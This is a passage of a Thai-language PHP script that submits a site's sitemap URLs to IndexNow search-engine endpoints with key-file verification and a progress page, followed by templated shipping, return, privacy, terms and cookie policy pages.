sse_send(array('step' => 'error', 'message' => 'เนื้อหาไฟล์คีย์ในเครื่องไม่ตรงกัน'), 'error');
exit;
}
sse_send(array('step' => 1, 'message' => 'ไฟล์คีย์ในเครื่องถูกต้อง', 'status' => 'ok'), 'progress');
// Step 2: Verify key file accessible via HTTP (with retries)
sse_send(array('step' => 2, 'message' => 'กำลังตรวจสอบไฟล์คีย์ผ่าน HTTP...'), 'progress');
sleep(1);
$maxRetries = 3;
$keyVerified = false;
$lastError = '';
for ($attempt = 1; $attempt <= $maxRetries; $attempt++) {
sse_send(array('step' => 2, 'message' => "ทดสอบการตรวจสอบ HTTP ครั้งที่ $attempt/$maxRetries...", 'attempt' => $attempt), 'progress');
$verifyResult = safe_http_request($keyLocation, array(
'method' => 'GET',
'timeout' => 15,
'headers' => array(
'User-Agent' => 'Mozilla/5.0 (compatible; IndexNowVerifier/1.0)',
'Accept' => 'text/plain',
'Cache-Control' => 'no-cache'
)
));
if ($verifyResult['success'] && $verifyResult['status'] === 200) {
$responseBody = isset($verifyResult['body']) ? trim($verifyResult['body']) : '';
if ($responseBody === $keyValue) {
$keyVerified = true;
sse_send(array('step' => 2, 'message' => 'ยืนยันไฟล์คีย์ผ่าน HTTP เรียบร้อย', 'status' => 'ok'), 'progress');
break;
} else {
$lastError = 'เนื้อหาไม่ตรงกัน (ได้รับ: ' . substr($responseBody, 0, 100) . ')';
}
} else {
$lastError = 'HTTP ' . $verifyResult['status'] . ' - ' . ($verifyResult['error'] ? $verifyResult['error'] : 'ดึงข้อมูลไม่สำเร็จ');
}
if ($attempt < $maxRetries) {
sse_send(array('step' => 2, 'message' => "ครั้งที่ $attempt ล้มเหลว: $lastError จะลองใหม่ใน 2 วินาที..."), 'progress');
sleep(2);
}
}
if (!$keyVerified) {
sse_send(array('step' => 'error', 'message' => 'ตรวจสอบคีย์ไม่สำเร็จหลังจาก ' . $maxRetries . ' ครั้ง: ' . $lastError, 'keyLocation' => $keyLocation), 'error');
exit;
}
// Step 3: Submit to IndexNow API (with retries)
sse_send(array('step' => 3, 'message' => 'กำลังส่ง ' . count($urls) . ' URL ไปยัง IndexNow...'), 'progress');
sleep(1);
$indexNowEndpoints = array(
array('url' => 'https://api.indexnow.org/indexnow', 'host' => 'api.indexnow.org', 'name' => 'IndexNow API'),
array('url' => 'https://www.bing.com/indexnow', 'host' => 'www.bing.com', 'name' => 'Bing'),
array('url' => 'https://yandex.com/indexnow', 'host' => 'yandex.com', 'name' => 'Yandex'),
);
$payload = safe_json_encode(array(
'host' => $host,
'key' => $keyValue,
'keyLocation' => $keyLocation,
'urlList' => $urls
));
$successCount = 0;
$results = array();
foreach ($indexNowEndpoints as $endpoint) {
sse_send(array('step' => 3, 'message' => 'กำลังส่งไปยัง ' . $endpoint['name'] . '...'), 'progress');
$maxApiRetries = 2;
$apiSuccess = false;
for ($apiAttempt = 1; $apiAttempt <= $maxApiRetries; $apiAttempt++) {
$result = safe_http_request($endpoint['url'], array(
'method' => 'POST',
'headers' => array(
'Content-Type' => 'application/json; charset=utf-8',
'Host' => $endpoint['host'],
'User-Agent' => 'Mozilla/5.0 (compatible; IndexNowSubmitter/1.0)'
),
'body' => $payload,
'timeout' => 30
));
$status = $result['status'];
$resultEntry = array(
'endpoint' => $endpoint['name'],
'status' => $status,
'attempt' => $apiAttempt
);
if ($status === 200 || $status === 202) {
$apiSuccess = true;
$successCount++;
$resultEntry['success'] = true;
$resultEntry['message'] = $status === 200 ? 'ส่งสำเร็จ' : 'รับคำขอแล้ว กำลังตรวจสอบ';
sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': ' . $resultEntry['message'], 'status' => 'ok'), 'progress');
break;
} elseif ($status === 403) {
$resultEntry['success'] = false;
$resultEntry['message'] = $endpoint['name'] . ' ตรวจสอบคีย์ไม่ผ่าน';
if ($apiAttempt < $maxApiRetries) {
sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': พบข้อผิดพลาด 403 กำลังลองใหม่...'), 'progress');
sleep(2);
}
} elseif ($status === 429) {
$resultEntry['success'] = false;
$resultEntry['message'] = 'ถูกจำกัดอัตรา โปรดลองใหม่ภายหลัง';
break;
} else {
$resultEntry['success'] = false;
$resultEntry['message'] = 'HTTP ' . $status . ' - ' . ($result['error'] ? $result['error'] : 'ข้อผิดพลาดที่ไม่ทราบสาเหตุ');
if ($apiAttempt < $maxApiRetries) {
sleep(1);
}
}
}
if (!$apiSuccess) {
sse_send(array('step' => 3, 'message' => $endpoint['name'] . ': ' . $resultEntry['message'], 'status' => 'error'), 'progress');
}
$results[] = $resultEntry;
sleep(1);
}
// Step 4: Complete
if ($successCount > 0) {
// Log successful submission
$tmpDir = sys_get_temp_dir();
$logFile = $tmpDir !== '' ? $tmpDir . '/indexnow_submit.log' : __DIR__ . '/tmp/indexnow_submit.log';
$logDir = dirname($logFile);
if (!is_dir($logDir)) @mkdir($logDir, 0755, true);
safe_file_put_contents($logFile, (string)time());
sse_send(array(
'step' => 'complete',
'message' => 'ส่งไปยังเครื่องมือค้นหา ' . $successCount . '/' . count($indexNowEndpoints) . ' รายการ',
'urlCount' => count($urls),
'results' => $results,
'success' => true
), 'complete');
} else {
sse_send(array(
'step' => 'error',
'message' => 'ส่งไปยังเครื่องมือค้นหาไม่สำเร็จ',
'results' => $results,
'keyLocation' => $keyLocation,
'suggestion' => 'กรุณาตรวจสอบว่า ' . $keyLocation . ' แสดงค่าคีย์ตรงและมี Content-Type: text/plain'
), 'error');
}
exit;
}
// IndexNow submission page (?update=indexnow)
if ($updateAction === 'indexnow') {
header('X-Robots-Tag: noindex, nofollow');
$urls = array();
$keyValue = '';
$keyFile = '';
$sitemapFile = '';
$sitemapName = '';
$sitemapDate = null;
$lastSubmit = null;
$canSubmit = true;
$cooldownHours = 24;
// Detect tmp directory (OS-aware)
$tmpDir = '';
$isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
if ($isWindows) {
// Windows: prioritize Windows-specific paths
$tmpCandidates = array(
getenv('TEMP'),
getenv('TMP'),
ini_get('upload_tmp_dir'),
sys_get_temp_dir(),
__DIR__ . '\\tmp'
);
} else {
// Unix/Linux/macOS
$tmpCandidates = array(
ini_get('upload_tmp_dir'),
sys_get_temp_dir(),
'/tmp',
'/var/tmp',
__DIR__ . '/tmp'
);
}
foreach ($tmpCandidates as $tmp) {
if ($tmp !== false && $tmp !== '' && @is_dir($tmp) && @is_writable($tmp)) {
$tmpDir = rtrim($tmp, '/\\');
break;
}
}
// Log file for tracking submissions
$logFile = $tmpDir !== '' ? $tmpDir . '/indexnow_submit.log' : __DIR__ . '/tmp/indexnow_submit.log';
// Read last submit time from log
if (file_exists($logFile) && is_readable($logFile)) {
$logContent = trim(safe_file_get_contents($logFile));
if ($logContent !== '' && $logContent !== false) {
$lastSubmit = (int)$logContent;
$elapsed = time() - $lastSubmit;
$cooldownSeconds = $cooldownHours * 3600;
if ($elapsed < $cooldownSeconds) {
$canSubmit = false;
}
}
}
// Find existing key file ({32-char-key}.txt)
if (is_function_available('glob')) {
$keyFiles = glob(__DIR__ . '/*.txt');
if (is_array($keyFiles)) {
foreach ($keyFiles as $file) {
$name = basename($file, '.txt');
if (strlen($name) === 32 && ctype_alnum($name)) {
$keyValue = $name;
$keyFile = $file;
break;
}
}
}
}
// Generate new key if not found
$keyJustCreated = false;
if ($keyValue === '') {
$keyValue = bin2hex(random_bytes_compat(16));
$keyFile = __DIR__ . '/' . $keyValue . '.txt';
safe_file_put_contents($keyFile, $keyValue);
$keyJustCreated = true;
}
// Find sitemap file
$sitemapCandidates = array('sitemap.xml', 'sitemap_index.xml', 'sitemap-index.xml');
foreach ($sitemapCandidates as $candidate) {
$path = __DIR__ . '/' . $candidate;
if (file_exists($path) && is_readable($path)) {
$sitemapFile = $path;
$sitemapName = $candidate;
break;
}
}
if ($sitemapFile === '' && is_function_available('glob')) {
$xmlFiles = glob(__DIR__ . '/*.xml');
if (is_array($xmlFiles) && count($xmlFiles) > 0) {
$sitemapFile = $xmlFiles[0];
$sitemapName = basename($xmlFiles[0]);
}
}
// Get sitemap modification date
if ($sitemapFile !== '' && file_exists($sitemapFile)) {
$sitemapDate = filemtime($sitemapFile);
}
// Read sitemap URLs
$sitemapUrlFormat = 'query';
if ($sitemapFile !== '' && is_readable($sitemapFile)) {
$sitemapInfo = read_sitemap_urls($sitemapFile);
$urls = $sitemapInfo['urls'];
$sitemapUrlFormat = $sitemapInfo['format'];
if (count($urls) > 0) {
shuffle($urls);
$urls = array_slice($urls, 0, 5000);
}
}
// Calculate time remaining for cooldown
$timeRemaining = '';
if ($lastSubmit !== null && !$canSubmit) {
$remaining = ($cooldownHours * 3600) - (time() - $lastSubmit);
$hoursLeft = floor($remaining / 3600);
$minsLeft = floor(($remaining % 3600) / 60);
$timeRemaining = $hoursLeft . ' ชม. ' . $minsLeft . ' นาที';
}
$host = count($urls) > 0 ? parse_url($urls[0], PHP_URL_HOST) : '';
$basePath = parse_url(get_site_url(), PHP_URL_PATH);
$keyLocation = $host !== '' ? 'https://' . $host . $basePath . '/' . $keyValue . '.txt' : '';
$displayKeyLocation = get_site_url() . '/' . $keyValue . '.txt';
// Output HTML page with SSE-based submission
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<title>ส่ง IndexNow</title>
<style>
body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;max-width:900px;margin:40px auto;padding:0 20px;background:#f5f5f5;color:#333}
h1{color:#1a1a1a;border-bottom:2px solid #0066cc;padding-bottom:10px}
.info{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 1px 3px rgba(0,0,0,0.1)}
.info p{margin:8px 0}
.info code{background:#e9ecef;padding:2px 6px;border-radius:3px;font-size:13px;word-break:break-all}
.result{padding:12px 15px;border-radius:6px;margin-bottom:20px;font-weight:500}
.result.success{background:#d4edda;color:#155724;border:1px solid #c3e6cb}
.result.error{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb}
.result.pending{background:#fff3cd;color:#856404;border:1px solid #ffeeba}
.result.info-msg{background:#cce5ff;color:#004085;border:1px solid #b8daff}
textarea{width:100%;font-family:monospace;font-size:12px;padding:10px;border:1px solid #ddd;border-radius:6px;background:#fafafa;resize:vertical;box-sizing:border-box}
.btn{display:inline-block;padding:12px 24px;font-size:16px;font-weight:600;color:#fff;background:linear-gradient(135deg,#0066cc,#0052a3);border:none;border-radius:6px;cursor:pointer;transition:all 0.2s;margin-right:10px;text-decoration:none}
.btn:hover{background:linear-gradient(135deg,#0052a3,#003d7a);transform:translateY(-1px);box-shadow:0 4px 12px rgba(0,102,204,0.3)}
.btn:disabled{background:#ccc;cursor:not-allowed;transform:none;box-shadow:none}
.btn-secondary{background:linear-gradient(135deg,#6c757d,#545b62)}
.btn-secondary:hover{background:linear-gradient(135deg,#545b62,#3d4246)}
.btn-sm{padding:8px 16px;font-size:13px}
.status-ok{color:#28a745}
.status-warn{color:#ffc107}
.status-error{color:#dc3545}
.key-created{background:#fff3cd;border:1px solid #ffeeba;padding:15px;border-radius:8px;margin-bottom:20px}
.key-created p{margin:0 0 10px}
.countdown{font-weight:bold;color:#856404}
#progress-container{display:none;background:#fff;border-radius:8px;padding:20px;margin-bottom:20px;box-shadow:0 1px 3px rgba(0,0,0,0.1)}
#progress-log{background:#1a1a2e;color:#e0e0e0;padding:15px;border-radius:6px;font-family:monospace;font-size:13px;max-height:300px;overflow-y:auto;margin-top:15px}
#progress-log .log-entry{margin:5px 0;padding:5px 0;border-bottom:1px solid #333}
#progress-log .log-ok{color:#4ade80}
#progress-log .log-error{color:#f87171}
#progress-log .log-info{color:#60a5fa}
#progress-log .log-warn{color:#fbbf24}
.progress-bar{width:100%;height:8px;background:#e9ecef;border-radius:4px;overflow:hidden;margin-bottom:10px}
.progress-bar-fill{height:100%;background:linear-gradient(90deg,#0066cc,#00cc66);transition:width 0.3s ease;width:0%}
#progress-status{font-weight:600;margin-bottom:10px}
</style>
</head>
<body>
<h1>ส่ง IndexNow</h1>
<?php if ($keyJustCreated): ?>
<div class="key-created">
<p><strong>สร้างไฟล์คีย์แล้ว!</strong> หน้านี้จะรีโหลดอัตโนมัติใน <span id="reload-countdown" class="countdown">3</span> วินาที...</p>
<p>เพื่อให้เซิร์ฟเวอร์รับรู้ไฟล์คีย์ใหม่ก่อนส่ง</p>
</div>
<script>
var countdown = 3;
function updateCountdown() {
var el = document.getElementById("reload-countdown");
if (el) el.textContent = countdown;
if (countdown <= 0) {
window.location.reload();
} else {
countdown--;
setTimeout(updateCountdown, 1000);
}
}
document.addEventListener("DOMContentLoaded", updateCountdown);
</script>
<?php endif; ?>
<div class="info" style="position:relative">
<p><strong>คีย์:</strong> <code><?php echo esc_html($keyValue); ?></code></p>
<p><strong>ตำแหน่งคีย์:</strong> <code style="font-size:11px"><?php echo esc_html($displayKeyLocation); ?></code></p>
<p><strong>Sitemap:</strong> <?php echo $sitemapName !== '' ? esc_html($sitemapName) . ' (' . count($urls) . ' URL)' : '<em>ไม่พบ</em>'; ?></p>
<?php if ($sitemapDate !== null): ?>
<p><strong>วันที่ Sitemap:</strong> <?php echo date('Y-m-d H:i:s', $sitemapDate); ?></p>
<?php endif; ?>
<p><strong>ส่งล่าสุด:</strong> <?php echo $lastSubmit !== null ? date('Y-m-d H:i:s', $lastSubmit) : '<em>ไม่เคย</em>'; ?></p>
<?php if (!$canSubmit && $timeRemaining !== ''): ?>
<p><strong>ส่งครั้งถัดไป:</strong> <span class="status-warn">รอ <?php echo $timeRemaining; ?></span></p>
<?php elseif ($canSubmit && !$keyJustCreated): ?>
<p><strong>สถานะ:</strong> <span class="status-ok">พร้อมส่ง</span></p>
<?php endif; ?>
<a href="<?php echo esc_attr(($sitemapUrlFormat === 'pretty') ? get_site_url() . '/update/sitemap' : get_site_url() . '/?update=sitemap'); ?>" class="btn btn-secondary btn-sm" style="position:absolute;top:15px;right:15px">อัปเดต Sitemap</a>
</div>
<div id="result-container"></div>
<div id="progress-container">
<div id="progress-status">กำลังเตรียมการ...</div>
<div class="progress-bar"><div class="progress-bar-fill" id="progress-bar-fill"></div></div>
<div id="progress-log"></div>
</div>
<div id="form-container">
<p><strong>รายการ URL ที่จะส่ง (<?php echo count($urls); ?>):</strong></p>
<textarea rows="15" readonly><?php echo esc_html(implode("\n", $urls)); ?></textarea><br><br>
<?php
$disableSubmit = (count($urls) === 0 || !$canSubmit || $keyJustCreated);
?>
<button type="button" id="submit-btn" class="btn" <?php echo $disableSubmit ? 'disabled' : ''; ?> onclick="startSubmission()">ส่งไปยัง IndexNow</button>
<a href="?update=indexnow" class="btn btn-secondary">รีเฟรชสถานะ</a>
</div>
<script>
var keyValue = <?php echo safe_json_encode($keyValue); ?>;
var urlCount = <?php echo count($urls); ?>;
var sseUrl = '?update=indexnow&sse=1&key=' + encodeURIComponent(keyValue) + '&count=' + urlCount;
function addLog(message, type) {
var log = document.getElementById('progress-log');
var entry = document.createElement('div');
entry.className = 'log-entry log-' + (type || 'info');
entry.textContent = '[' + new Date().toLocaleTimeString() + '] ' + message;
log.appendChild(entry);
log.scrollTop = log.scrollHeight;
}
function setProgress(percent) {
document.getElementById('progress-bar-fill').style.width = percent + '%';
}
function setStatus(text) {
document.getElementById('progress-status').textContent = text;
}
function showResult(message, type) {
var container = document.getElementById('result-container');
container.innerHTML = '<div class="result ' + type + '">' + message + '</div>';
}
function startSubmission() {
document.getElementById('submit-btn').disabled = true;
document.getElementById('progress-container').style.display = 'block';
document.getElementById('progress-log').innerHTML = '';
setProgress(0);
setStatus('กำลังเชื่อมต่อเซิร์ฟเวอร์...');
addLog('เริ่มกระบวนการส่ง IndexNow...', 'info');
var eventSource = new EventSource(sseUrl);
var stepProgress = {1: 25, 2: 50, 3: 75};
eventSource.addEventListener('progress', function(e) {
var data = JSON.parse(e.data);
setStatus(data.message);
if (data.step && stepProgress[data.step]) {
setProgress(stepProgress[data.step]);
}
var logType = data.status === 'ok' ? 'ok' : (data.status === 'error' ? 'error' : 'info');
addLog(data.message, logType);
});
eventSource.addEventListener('complete', function(e) {
var data = JSON.parse(e.data);
setProgress(100);
setStatus('เสร็จสิ้น!');
addLog('ส่งเสร็จสิ้น: ' + data.message, 'ok');
if (data.results) {
data.results.forEach(function(r) {
addLog(r.endpoint + ': ' + r.message, r.success ? 'ok' : 'error');
});
}
showResult(data.message + ' (' + data.urlCount + ' URL)', 'success');
eventSource.close();
setTimeout(function() { location.reload(); }, 3000);
});
eventSource.addEventListener('error', function(e) {
if (e.data) {
var data = JSON.parse(e.data);
setStatus('ข้อผิดพลาด: ' + data.message);
addLog('ข้อผิดพลาด: ' + data.message, 'error');
if (data.suggestion) {
addLog('คำแนะนำ: ' + data.suggestion, 'warn');
}
if (data.keyLocation) {
addLog('URL คีย์: ' + data.keyLocation, 'info');
}
showResult(data.message, 'error');
}
eventSource.close();
document.getElementById('submit-btn').disabled = false;
});
eventSource.onerror = function() {
if (eventSource.readyState === EventSource.CLOSED) {
return;
}
setStatus('การเชื่อมต่อผิดพลาด');
addLog('การเชื่อมต่อกับเซิร์ฟเวอร์ขาดหาย', 'error');
eventSource.close();
document.getElementById('submit-btn').disabled = false;
};
}
</script>
</body>
</html>
<?php
exit;
}
// Shipping Details page
// Supports both GET params (?mode=shipping) and pretty URLs (/shipping)
$pageMode = get_auth_mode();
if ($pageMode === 'shipping') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ข้อมูลการจัดส่ง | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="ข้อมูลการจัดส่งสินค้าและบริการดิจิทัล - จัดส่งทันทีผ่านระบบออนไลน์">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>ข้อมูลการจัดส่ง</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การจัดส่งสินค้าดิจิทัล</h2>
<p>สินค้าและบริการของเราเป็นผลิตภัณฑ์ดิจิทัล จัดส่งทันทีผ่านระบบออนไลน์</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ระยะเวลาการจัดส่ง</h2>
<ul style="margin-left: 1.5rem;">
<li>จัดส่งทันทีหลังการชำระเงินสำเร็จ</li>
<li>เข้าถึงได้ตลอด 24 ชั่วโมง</li>
<li>ไม่มีค่าจัดส่ง</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">พื้นที่ให้บริการ</h2>
<p>ให้บริการทั่วประเทศไทยและทั่วโลกผ่านระบบออนไลน์</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ติดต่อสอบถาม</h2>
<p>หากมีข้อสงสัยเกี่ยวกับการจัดส่ง กรุณาติดต่อฝ่ายบริการลูกค้า</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Return Policy page
// Supports both GET params (?mode=return-policy) and pretty URLs (/return-policy)
if ($pageMode === 'return-policy') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>นโยบายการคืนสินค้า | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="นโยบายการคืนสินค้าและการคืนเงิน - รับประกันความพึงพอใจ">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>นโยบายการคืนสินค้า</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การรับประกันความพึงพอใจ</h2>
<p>เรามุ่งมั่นให้บริการที่ดีที่สุดแก่ลูกค้าทุกท่าน</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">เงื่อนไขการคืนเงิน</h2>
<ul style="margin-left: 1.5rem;">
<li>สามารถขอคืนเงินได้ภายใน 7 วันหลังการซื้อ</li>
<li>กรณีบริการไม่ตรงตามที่โฆษณา</li>
<li>กรณีไม่สามารถเข้าถึงบริการได้</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ขั้นตอนการขอคืนเงิน</h2>
<ol style="margin-left: 1.5rem;">
<li>ติดต่อฝ่ายบริการลูกค้า</li>
<li>แจ้งหมายเลขคำสั่งซื้อและเหตุผล</li>
<li>รอการตรวจสอบภายใน 3-5 วันทำการ</li>
<li>รับเงินคืนผ่านช่องทางเดิมที่ชำระ</li>
</ol>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ข้อยกเว้น</h2>
<p>ไม่สามารถคืนเงินได้ในกรณีที่ใช้บริการไปแล้วเกิน 50% ของระยะเวลาที่ซื้อ</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Privacy Policy page
// Supports both GET params (?mode=privacy-policy) and pretty URLs (/privacy-policy)
if ($pageMode === 'privacy-policy') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>นโยบายความเป็นส่วนตัว | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="นโยบายความเป็นส่วนตัวเกี่ยวกับการเก็บรวบรวม ใช้ และคุ้มครองข้อมูลส่วนบุคคล">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>นโยบายความเป็นส่วนตัว</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ข้อมูลที่เราเก็บรวบรวม</h2>
<ul style="margin-left: 1.5rem;">
<li>ข้อมูลบัญชี เช่น ชื่อ อีเมล หรือข้อมูลที่คุณกรอกเมื่อสมัครสมาชิก</li>
<li>ข้อมูลการใช้งาน เช่น หน้าเพจที่เข้าชม เวลาใช้งาน และอุปกรณ์ที่ใช้</li>
<li>คุกกี้และข้อมูลเทคนิคเพื่อช่วยให้บริการทำงานได้อย่างราบรื่น</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การใช้ข้อมูล</h2>
<ul style="margin-left: 1.5rem;">
<li>ให้บริการถ่ายทอดสดและจัดการบัญชีผู้ใช้</li>
<li>พัฒนาคุณภาพของบริการและประสบการณ์ผู้ใช้</li>
<li>ให้การสนับสนุนและตอบข้อสงสัยของลูกค้า</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การเปิดเผยข้อมูล</h2>
<p>เราไม่ขายข้อมูลส่วนบุคคลให้บุคคลภายนอก อาจมีการแบ่งปันข้อมูลกับผู้ให้บริการที่จำเป็นเพื่อให้บริการทำงานได้อย่างปลอดภัย</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">สิทธิของคุณ</h2>
<p>คุณสามารถขอเข้าถึง แก้ไข หรือขอลบข้อมูลส่วนบุคคลของคุณได้โดยติดต่อฝ่ายบริการลูกค้า</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การเปลี่ยนแปลงนโยบาย</h2>
<p>เราอาจปรับปรุงนโยบายนี้เป็นครั้งคราว โดยจะแจ้งให้ทราบผ่านหน้าเว็บไซต์</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Terms of Service page
// Supports both GET params (?mode=terms-of-service) and pretty URLs (/terms-of-service)
if ($pageMode === 'terms-of-service') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ข้อกำหนดการใช้งาน | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="ข้อกำหนดการใช้งานของบริการถ่ายทอดสดและแพลตฟอร์มออนไลน์">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>ข้อกำหนดการใช้งาน</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การยอมรับเงื่อนไข</h2>
<p>เมื่อคุณเข้าใช้งาน <?php echo esc_html($TLDDomain); ?> ถือว่าคุณยอมรับข้อกำหนดและเงื่อนไขในการใช้บริการ</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">บัญชีผู้ใช้</h2>
<ul style="margin-left: 1.5rem;">
<li>คุณต้องเก็บรักษาข้อมูลบัญชีและรหัสผ่านให้ปลอดภัย</li>
<li>คุณรับผิดชอบต่อกิจกรรมทั้งหมดที่เกิดขึ้นในบัญชีของคุณ</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ข้อห้ามการใช้งาน</h2>
<ul style="margin-left: 1.5rem;">
<li>ห้ามใช้บริการเพื่อวัตถุประสงค์ที่ผิดกฎหมายหรือเป็นอันตรายต่อผู้อื่น</li>
<li>ห้ามคัดลอก ดัดแปลง หรือเผยแพร่เนื้อหาโดยไม่ได้รับอนุญาต</li>
<li>ห้ามพยายามเข้าถึงระบบหรือข้อมูลที่ไม่ได้รับอนุญาต</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ทรัพย์สินทางปัญญา</h2>
<p>เนื้อหาและทรัพย์สินทางปัญญาทั้งหมดบนเว็บไซต์นี้เป็นของผู้ให้บริการหรือผู้ได้รับอนุญาต</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การเปลี่ยนแปลงและยกเลิก</h2>
<p>เราอาจปรับปรุงข้อกำหนดหรือยกเลิกการให้บริการบางส่วนได้โดยไม่ต้องแจ้งล่วงหน้า</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Cookie Policy page
// Supports both GET params (?mode=cookie-policy) and pretty URLs (/cookie-policy)
if ($pageMode === 'cookie-policy') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>นโยบายคุกกี้ | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="นโยบายคุกกี้และการใช้คุกกี้เพื่อปรับปรุงประสบการณ์การใช้งาน">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>นโยบายคุกกี้</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">คุกกี้คืออะไร</h2>
<p>คุกกี้คือไฟล์ข้อมูลขนาดเล็กที่ถูกบันทึกไว้ในอุปกรณ์ของคุณเพื่อช่วยให้เว็บไซต์ทำงานได้อย่างถูกต้อง</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ประเภทคุกกี้ที่เราใช้</h2>
<ul style="margin-left: 1.5rem;">
<li>คุกกี้ที่จำเป็นสำหรับการเข้าสู่ระบบและการใช้งานหลัก</li>
<li>คุกกี้วิเคราะห์เพื่อปรับปรุงประสบการณ์ผู้ใช้</li>
<li>คุกกี้การตั้งค่าเพื่อจดจำภาษาหรือการแสดงผลที่คุณเลือก</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">การจัดการคุกกี้</h2>
